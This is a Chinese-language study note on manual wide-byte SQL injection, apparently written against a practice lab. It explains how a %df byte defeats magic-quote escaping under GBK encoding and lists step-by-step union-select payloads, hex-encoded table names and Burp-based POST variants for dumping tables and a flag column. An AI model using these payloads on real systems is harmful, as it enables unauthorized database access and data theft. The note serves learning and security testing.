學習記錄 寬位元組注入 手工注入

2021-10-08 17:38:25 字數 2365 閱讀 1323

學習記錄—寬位元組注入(手工注入)

一、概念及原理

寬位元組注入其實質就是抓住資料庫為非英文編碼如gbk,通過傳入含特殊字元的sql語句,配合魔法引號被資料庫gbk編譯為漢字,從而達到溶解魔法引號的目的。

二、注入步驟

大概步驟分為,判斷是否存在寬位元組注入----嘗試寬位元組注入

get傳參:

1)判斷是否存在寬位元組注入,直接在引數後面輸入,注意的是要經過url編譯,%df 與魔法引號 『/』 組合在gbk編碼下為乙個漢字,『號這個模擬閉合引數裡面的』。

%df』 and 1=2 --+

%df』 or 1=1 --+

2)檢視輸出點,這個後面操作和顯錯一樣

%df』 or 1=1 order by 3 --+

%df』 union select 1,2,3 --+

3)檢視表、欄位及資料,檢視字段,注意的是查詢語句需要輸入表名,輸入表名會被魔法引號轉義,所以兩種方法可以選擇,第乙個是用子查詢代替表名,第二種就是用十六進製制代替字元,這裡用第二種方法,如表名china_flag 對應十六進製制為0x6368696e615f666c6167

%df』 union select 1,2,(select count(table_name) from information_schema.tables where table_schema=database()) --+ 通過閉合魔術引號,閉合單引號,檢視當前庫的表數量

%df』 union select 1,2,(select table_name from information_schema.tables where table_schema=database() limit 0,1) --+ 檢視第乙個表名

找欄位%df』 union select 1,2,(select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167)–+ 檢視表china_flag欄位數量

%df』 union select 1,2,(select column_name from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 0,1) --+ 檢視第乙個字段

%df』 union select 1,2,(select c_flag from china_flag limit 0,1) --+ 檢視第一條c_flag欄位資料

post傳參

post傳參,傳遞得引數不會被編譯,直接傳入資料中,所以如果資料庫是非英文編碼,就必須是傳參能夠通過非英文編碼融合,三種方式:第一種通過工具burp抓包修改hex十六進製制,讓十六進製制資料和魔法引號出入資料庫組成漢字;第二種,burp抓包修改引數,直接%df標識十六進製制加入引數裡面;第三種通常html、php都是使用utf-8編碼,提交的表單按照html的utf-8傳入php,可能php也會最強制轉換為utf-8,所以絕大多數都是utf-8編碼,如果傳參含有單個漢字,漢字在utf-8編碼佔三個位元組,和魔法引號組成四位元組,然後通過邏輯傳入和資料庫互動,資料庫為雙位元組編碼,就會組成兩個漢字,達到融合魔法引號的目的,嘗試盡量筆畫多的漢字,佔三個位元組可能性很大;

1)判斷是否存在寬位元組注入

第一種方式:通過輸入提交漢字的表單判斷,直接在頁面表達輸入

翼』) or 1=1 #

第二種方式:通過burp工具抓包修改引數%標識十六進製制,抓包引數輸入

第三種方式:通過burp工具抓包修改hex,修改為df

2)嘗試獲取表、欄位及資料

這裡不做詳細介紹和get傳參獲取方法一樣

三、個人總結

1)get傳參在url欄輸入,用編譯的%df融合魔法引號,其實質是傳入進資料庫通過gbk編碼轉換為漢字;post傳參多種方式,其本質也和get一樣,區別在於頁面上框內輸入不需要url編碼,直接輸入,如果burp抓包可以在引數加入%df標識十六進製制或者直接在hex修改十六進製制

2)post提交表單的引數,通過burp工具抓包會被編譯,具體原因,不太清楚

3)post直接頁面輸入,漢字建議輸入筆畫多的,通過utf-8編碼為三位元組可能性更大

4)寬位元組的目的是融合魔法引號,在實際場景中,可以進行寬位元組注入,但是**關閉了回顯,就要結合實際如和盲注(不限於)組合達到注入目的

5)學習寬位元組注入,需要對編碼型別有簡要的了解

學習記錄 DNS log注入 手工注入)

學習記錄 dns log注入 手工注入 一 dns log注入的實用場景滿足條件 1.無回顯 2.不能用盲注,即使能使用盲注,存在被ban的風險高且效率低 3.資料庫配置能使用load file函式可以傳送請求 4.擁有乙個dns伺服器接受傳送過來的資料 二 dns log注入的實質 就是拼接語句,...

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

SQL注入 寬位元組注入

php測試 物件導向寫法 id addslashes get id 獲取id並轉義預定義字元 id get id mysqli new mysqli localhost root root test 連線資料庫 指定資料庫 if mysqli connect errno else else 面向過程...